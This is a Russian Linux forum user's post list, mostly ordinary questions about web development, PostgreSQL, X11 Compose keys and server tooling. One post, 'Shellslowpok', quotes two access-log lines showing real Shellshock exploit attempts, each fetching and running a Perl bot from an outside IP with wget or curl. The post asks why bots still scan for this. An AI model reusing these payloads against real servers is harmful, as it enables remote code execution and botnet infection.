LINUX.ORG.RU

Сообщения coldheadcleanhands

 

IP-камеры с живым HTML5 потоком

Здесь пишут, что производители IP-камер постепенно отказываются от использования плагинов и добавляют поддержку HTML5:

https://ipvm.com/reports/surveillance-browser-support-2019?code=ipc (http://archive.md/IsK2x)

А вы уже встречали камеры, с которыми можно просто подставить некий URL в <video src=""> и наслаждаться? Какие?

 ,

coldheadcleanhands
()

Длинный пустой промежуток до первой отрисовки

Картинка, нарисованная sitespeed.io: https://i.imgur.com/KxmC573.png

Что делает браузер до того, как начнет загружать woff2 шрифт, а потом отрисовывать страницу? Почему получается такое большое время до first contentful paint (400-500 ms)?

 ,

coldheadcleanhands
()

Стилизация ячеек таблиц (БЭМ и иже с ним)

Как, согласно БЭМ, кошернее задавать стили элементов td:

  1. .my-table-class td { border: ... }

или

  1. Натянуть на каждый td класс, а потом .my-td-class { border: ... }

?

Второе, по идее, правильнее, но видится несколько избыточным, если нужно стилизовать именно все-все td.

 

coldheadcleanhands
()

Кавычки-«ёлочки» без переключения на английскую раскладку

Compose+<< и Compose+>> в русской раскладке дают Б и Ю, кавычки не получаются. Пробовал добавлять к Compose-последовательностям

$ grep [«»] /usr/share/X11/locale/en_US.UTF-8/Compose 
<Multi_key> <less> <less>               : "«"   guillemotleft # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
<Multi_key> <greater> <greater>         : "»"   guillemotright # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK


такие:

<Multi_key> <Cyrillic_BE> <Cyrillic_BE>       : "«"   guillemotleft
<Multi_key> <Cyrillic_YU> <Cyrillic_YU>       : "»"   guillemotright


(перед : - TAB, как в существующих строках) - не работает, выводятся Б и Ю.

Как лечить?

 

coldheadcleanhands
()

Опрос пользователей языка Go

https://blog.golang.org/survey2016

Проект Go нуждается в вас! Наша цель – создать лучший язык для разработки простого, надёжного и масштабируемого программного обеспечения. Пожалуйста, уделите 20 минут нашему опросу. А если можете назвать причины, по которым ваша компания начала использовать Go, ответьте также на вопросник для компаний.

Перемещено tailgunner из development

 

coldheadcleanhands
()

Go-викторина

 

coldheadcleanhands
()

cal в Debian Jessie первым днем недели считает воскресенье

$ cal
      Май 2015        
Вс Пн Вт Ср Чт Пт Сб  
                1  2  
 3  4  5  6  7  8  9  
10 11 12 13 14 15 16  
17 18 19 20 21 22 23  
24 25 26 27 28 29 30  
31                    

$ locale
LANG=ru_RU.UTF-8
LANGUAGE=
LC_CTYPE="ru_RU.UTF-8"
LC_NUMERIC="ru_RU.UTF-8"
LC_TIME="ru_RU.UTF-8"
LC_COLLATE="ru_RU.UTF-8"
LC_MONETARY="ru_RU.UTF-8"
LC_MESSAGES="ru_RU.UTF-8"
LC_PAPER="ru_RU.UTF-8"
LC_NAME="ru_RU.UTF-8"
LC_ADDRESS="ru_RU.UTF-8"
LC_TELEPHONE="ru_RU.UTF-8"
LC_MEASUREMENT="ru_RU.UTF-8"
LC_IDENTIFICATION="ru_RU.UTF-8"
LC_ALL=

Может кто-нибудь подтвердить баг?

 

coldheadcleanhands
()

Форматтеры и линтеры для PHP?

Как сейчас принято форматировать код на PHP? Есть какой-нибудь общепринятый кодинг стайл? Какие есть утилиты командной строки для форматирования файлов?

Какие есть линтеры для PHP? Статические чекеры?

 

coldheadcleanhands
()

Можно ли увидеть то, что развидено?

Один из элементов DOM остаётся в FF невидимым, что бы я ни делал. FF откуда-то взял, что размеры элемента отрицательны:

http://i.imgur.com/kvhZiqu.png

Если выключить в Firebug padding, получается -2 x -2.

В чём дело и как вылечить? Добавление в Firebug свойств width: 100px !important; height: 100px !important; min-width: 100px !important; min-height: 100px !important; ни на что не влияет. Как ни крутил другие свойства, элемент всё одно невидим.

Не баг ли это? Iceweasel 31.0, то же самое наблюдалось в более поздних версиях FF (не ребрендингах).

 

coldheadcleanhands
()

MD5 в PostgreSQL

By default, database user passwords are stored as MD5 hashes

http://www.postgresql.org/docs/9.4/static/encryption-options.html

Они упрлс? Как заменить MD5 на что-либо более вменяемое, вроде bcrypt или scrypt?

 

coldheadcleanhands
()

Вы обнаружили, что Google сообщает о подозрительной активности

Вы решили найти что-либо в Google, а тот вывел капчу и сообщил о подозрительной активности с вашего IP-адреса.

Ваши действия?

 

coldheadcleanhands
()

Преимущества memcached перед redis?

Есть ли у memcached какие-либо преимущества перед Redis?

 ,

coldheadcleanhands
()

Shellslowpok

Почему боты продолжают наседать? Неужели где-то еще остались слоупоки, у которых не попатчен shellshock?

94.228.215.83 - - [16/Jan/2015:20:38:07 +0000] "GET /cgi-bin/help.cgi HTTP/1.0" 403 168 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /var/tmp/mc\x22"

217.114.212.26 - - [16/Jan/2015:17:14:53 +0000] "GET /phppath/cgi_wrapper HTTP/1.0" 403 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESSX\x22;system(\x22wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\x22);'"

 

coldheadcleanhands
()

Легкая проверялка почты в трей

Нужна программа, которая будет сидеть в трее, периодически проверять почту на GMail и рапортовать, если таковая появится. Больше никаких функций не надо. Есть mail-client/mail-notification, но она тащит за собой половину гнома. Посоветуйте что-нибудь другое.

P. S. эта mail-notification к тому же и не работает. При сборке пишет, что gmail включен, а в настройках при выборе типа ящика gmail не появляется.

 

coldheadcleanhands
()

Полнотекстовый поиск в postgres

В postgres есть

1) возможность полнотекстового поиска с учетом морфологии - оператор @@; @@ не умеет искать произвольную подстроку;

2) оператор LIKE. LIKE может искать произвольную подстроку, но поиск неиндексированный и, следовательно, медленный.

А есть ли некий гибрид этих вариантов? Индексированный поиск подстроки, без морфологии, как есть?

 

coldheadcleanhands
()

Недорогие вменяемые регистраторы (не в зоне .ru)

Нужен домен второго уровня. Забугорный, без паспорта и смс. И желательно, чтобы не угнали, когда станет популярным. Какие есть варианты?

 

coldheadcleanhands
()

Какой формат логов вы используете в своих веб-приложениях?

Какой формат логов вы используете в своих веб-приложениях для логирования доступа, некорректных данных, пришедших от (возможно злоумышленного) пользователя, отказов в логине из-за неверного имени/пароля, и т.д?

Мне видится что-то такое:

time=20141222000000 action=login name=user ip=8.8.8.8 result=success
time=20141222000001 action=login name=admin ip=9.9.9.9 result=fail code=401
User-Agent: ...
Cookie: ...
X-Other-Header: ...
(другие заголовки)
time=20141222000002 action=get_user_info name=anonymous ip=1.1.1.1 result=fail cause="not logged in"
(заголовки запроса)
time=20141222000003 action=create_post name=user ip=1.2.3.4 result=fail cause="csrf error"
(заголовки запроса)

Есть какие-нибудь стандарты на этот счет, чтобы не изобретать велосипед?

 ,

coldheadcleanhands
()

Проектирование БД для модели контроля доступа

Допустим, имеются объекты, к которым надо ограничивать доступ, набор ролей (которые могут быть привязаны к конкретному объекту или быть общими), и разрешения доступа пары роль-объект к её объекту.

Приведу пример:

Объекты: блогопост №1, блогопост №2, и т.д.

Роли: аноним, читатель, редактор, модератор. (Читатель, редактор и модератор должны быть привязаны к блогопосту.)

Разрешения для первого блогопоста (не фиксированные, могут быть свои для каждого объекта, плюс нужна возможность менять их):

  1. Аноним может читать блогопост №1.
  2. Читатель-бп1 может читать блогопост №1 и оставлять комментарии.
  3. Редактор-бп1 может читать и редактировать блогопост №1.
  4. Модератор-бп1 может читать, редактировать блогопост №1, а также редактировать и удалять комментарии.

Разрешения для второго блогопоста:

  • Аноним НЕ может читать блогопост №2.
  • Читатель-бп2 может читать блогопост №2.
  • Редактор-бп2 может читать и редактировать блогопост №2.
  • Модератор-бп2 может читать блогопост №2, а также удалять комментарии.

Как такую модель выразить в БД? Есть где-нибудь реализация похожей модели? Как разрешать конфликты (например, пользователь одновременно читатель и редактор блогопоста №1. Может ли он редактировать пост?)?

 

coldheadcleanhands
()

Где взять SSL-сертификат без регистрации и смс?

Сабж. Нужен SSL-сертификат для домена третьего уровня. Желания указывать личные данные (чего требуют всякие startssl) нет.

 

coldheadcleanhands
()

RSS подписка на новые темы